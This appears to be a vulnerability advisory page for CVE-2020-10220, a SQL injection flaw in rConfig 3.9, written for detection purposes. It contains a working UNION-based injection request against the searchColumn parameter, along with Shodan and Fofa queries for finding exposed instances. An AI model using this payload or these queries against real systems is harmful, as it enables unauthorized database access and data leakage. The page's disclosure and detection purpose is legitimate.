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CVE-2020-10220: rConfig 3.9 - SQL Injection

TitlerConfig 3.9 - SQL Injection
Authorritikchaddha,theamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpgrade to a patched version of rConfig or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94024
CVE IDCVE-2020-10220
CWE IDCWE-89
Shodan Querytitle:"rConfig"http.title:"rconfig"
Fofa Querytitle="rconfig"
Tags cve cve2020 packetstorm rconfig sqli vuln

🔍 Vulnerability Description

An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter.

🌐 HTTP Request

GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('1139'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10220.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-10220.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A